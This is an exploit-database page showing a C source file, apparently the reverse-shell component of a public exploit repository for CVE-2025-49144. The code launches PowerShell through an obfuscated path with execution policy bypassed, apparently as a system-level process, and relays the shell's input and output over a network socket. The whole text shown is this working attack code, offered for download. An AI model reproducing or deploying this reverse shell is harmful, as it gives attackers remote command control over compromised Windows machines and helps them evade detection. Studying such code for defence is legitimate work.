Exploit databaseDownload repository ZIP
GH-35f3f8436d35a41918bdb8bf82aaf0cd
vr00mm/cve-2025-49144
Sources for CVE-2025-49144
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
vr00mm/cve-2025-49144Revision 02c38606eab5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
reverse_shell/shell.c
C · 4,117 bytes#include "winbind.h"
int handleReverseShell(SOCKET sock) {
HANDLE hStdin, hStdout, hStderr, hProcess;
HANDLE hThread1, hThread2, hThread3;
volatile LONG shouldStop = 0;
wchar_t* cmdPath;
DWORD exitCode;
BOOL processExitedNormally = FALSE;
cmdPath = build_obfuscated_powershell_path();
if (!cmdPath) {
closesocket(sock);
return 0;
}
wchar_t* cmdArgs = (wchar_t*)malloc(256 * sizeof(wchar_t));
if (!cmdArgs) {
free(cmdPath);
closesocket(sock);
return 0;
}
wcscpy_s(cmdArgs, 256, L"-ExecutionPolicy Bypass -NoProfile");
int result = createSystemProcess(cmdPath, cmdArgs, &hStdin, &hStdout, &hStderr, &hProcess);
free(cmdPath);
free(cmdArgs);
if (result != 1) {
closesocket(sock);
return 0;
}
Sleep(1000);
if (GetExitCodeProcess(hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
CloseHandle(hProcess);
CloseHandle(hStderr);
closesocket(sock);
return 0;
}
}
THREAD_DATA* data1 = (THREAD_DATA*)malloc(sizeof(THREAD_DATA));
THREAD_DATA* data2 = (THREAD_DATA*)malloc(sizeof(THREAD_DATA));
THREAD_DATA* data3 = (THREAD_DATA*)malloc(sizeof(THREAD_DATA));
if (!data1 || !data2 || !data3) {
if (data1) free(data1);
if (data2) free(data2);
if (data3) free(data3);
CloseHandle(hProcess);
CloseHandle(hStderr);
closesocket(sock);
return 0;
}
data1->pipe = hStdin;
data1->socket = sock;
data1->process = hProcess;
data1->shouldStop = &shouldStop;
hThread1 = CreateThread(NULL, 0, socketToPipeThread, data1, 0, NULL);
data2->pipe = hStdout;
data2->socket = sock;
data2->process = hProcess;
data2->shouldStop = &shouldStop;
hThread2 = CreateThread(NULL, 0, pipeToSocketThread, data2, 0, NULL);
data3->pipe = hStderr;
data3->socket = sock;
data3->process = hProcess;
data3->shouldStop = &shouldStop;
hThread3 = CreateThread(NULL, 0, pipeToSocketThread, data3, 0, NULL);
if (!hThread1 || !hThread2 || !hThread3) {
InterlockedExchange(&shouldStop, 1);
if (hThread1) CloseHandle(hThread1);
if (hThread2) CloseHandle(hThread2);
if (hThread3) CloseHandle(hThread3);
CloseHandle(hProcess);
CloseHandle(hStderr);
closesocket(sock);
return 0;
}
Sleep(1000);
int connectionCheckInterval = 0;
while (InterlockedCompareExchange(&shouldStop, 0, 0) == 0) {
if (GetExitCodeProcess(hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
processExitedNormally = TRUE;
InterlockedExchange(&shouldStop, 1);
break;
}
} else {
InterlockedExchange(&shouldStop, 1);
break;
}
connectionCheckInterval++;
if (connectionCheckInterval >= 20) {
connectionCheckInterval = 0;
int testResult = send(sock, "", 0, 0);
if (testResult == SOCKET_ERROR) {
int error = WSAGetLastError();
if (error == WSAECONNRESET || error == WSAECONNABORTED || error == WSAENOTCONN) {
InterlockedExchange(&shouldStop, 1);
break;
}
}
}
Sleep(500);
}
InterlockedExchange(&shouldStop, 1);
closesocket(sock);
if (hThread1) {
WaitForSingleObject(hThread1, THREAD_TIMEOUT_MS);
CloseHandle(hThread1);
}
if (hThread2) {
WaitForSingleObject(hThread2, THREAD_TIMEOUT_MS);
CloseHandle(hThread2);
}
if (hThread3) {
WaitForSingleObject(hThread3, THREAD_TIMEOUT_MS);
CloseHandle(hThread3);
}
if (GetExitCodeProcess(hProcess, &exitCode) && exitCode == STILL_ACTIVE) {
TerminateProcess(hProcess, 0);
WaitForSingleObject(hProcess, 2000);
}
CloseHandle(hProcess);
if (processExitedNormally) {
return 2;
} else {
return 1;
}
}